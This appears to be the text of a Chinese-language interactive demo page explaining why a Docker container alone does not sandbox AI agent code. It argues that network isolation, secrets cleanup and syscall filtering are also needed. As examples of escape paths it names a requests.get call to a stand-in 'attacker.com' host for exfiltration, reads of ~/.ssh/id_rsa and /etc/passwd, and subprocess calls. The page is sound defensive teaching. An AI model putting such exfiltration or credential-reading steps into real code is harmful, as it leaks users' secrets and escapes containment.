sandbox escape · 容器隔离 · 网络隔离
很多人觉得"用 Docker 跑 Agent 代码就安全了"。容器只隔离了文件系统和进程命名空间,没断网、没清 secrets、没限系统调用——这三项漏一个,逃逸就成。
真实逃逸案例几乎都走这三条路:代码里 requests.get('http://attacker.com') 偷偷外传数据;代码读 ~/.ssh/id_rsa 或 /etc/passwd 越界拿凭证;代码 subprocess 调系统命令绕过 Python 限制。容器对前两条默认不拦——它默认有网、默认能读 home。
所以沙箱不是"套个容器",是"容器 + 网络隔离 + secrets 清理 + 系统调用过滤"的组合拳。下面演示会把每条逃逸路径演给你看。
下面是四条经典逃逸路径。选一条,切沙箱档,点"执行代码",看它跑不跑得出去。
演示里"容器+断网+清secrets"档能拦住全部,因为它把四件事都做了——任何一件漏了都漏:
关键认知:这四件是正交的——容器管文件系统、网络管出站、secrets 管凭证、seccomp 管系统调用,各管一摊。少做一件,那条路就开着。